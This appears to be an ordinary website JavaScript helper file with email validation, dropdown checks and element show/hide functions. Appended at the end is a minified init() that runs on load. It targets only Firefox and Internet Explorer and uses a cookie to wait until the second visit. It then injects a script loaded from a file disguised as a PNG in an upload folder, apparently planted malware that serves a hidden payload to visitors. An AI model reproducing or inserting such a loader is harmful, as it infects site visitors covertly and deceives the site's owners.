// JavaScript Document

Function.prototype.defaults = function() 	
{ 	
  var _f = this; 	
  var _a = Array(_f.length-arguments.length).concat( 	
    arguments.length-1?Array.apply(null, arguments): 	
    [arguments[0]]); 	
  return function() 	
  { 	
    return _f.apply(_f, (arguments.length-1 ? 	
      Array.apply(null, arguments) : [arguments[0]]).concat( 	
        _a.slice(arguments.length, _a.length))); 	
  } 	
} 


function check_Mail(mail)
{
	 if (!(/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(mail))) 
	 {
		return false;
	} else
	{	return true;
	}
}

function check_Selected(id)
	{	
		d = document.getElementById(id);
		if(d.options[d.selectedIndex].value == -1) 
		{
			alert("Please choose an option from the dropdown menu.");
			d.focus();
			return false;
		}
		return true;
	}


var container_Show = function(obj, force_Show, force_Hide)
{
	if(force_Hide)
	{
		document.getElementById(obj).style.display = "none";
		return true;
	}
	if(force_Show)
	{
		document.getElementById(obj).style.display = "block";
		return true;
	}
	
	
	if(document.getElementById(obj).style.display == "none")
	{
		document.getElementById(obj).style.display = "block";
	}
	else 
	{
		document.getElementById(obj).style.display = "none";
	}
	
	
	return true;
	
}.defaults(false, false); 

function get_Element(id)
{
	return document.getElementById(id);
}

function do_Confirm(str)
{
	if(	window.confirm(str) ) return true;
	else return false;
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/UserFiles/image/temp/welcomeToCollective.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
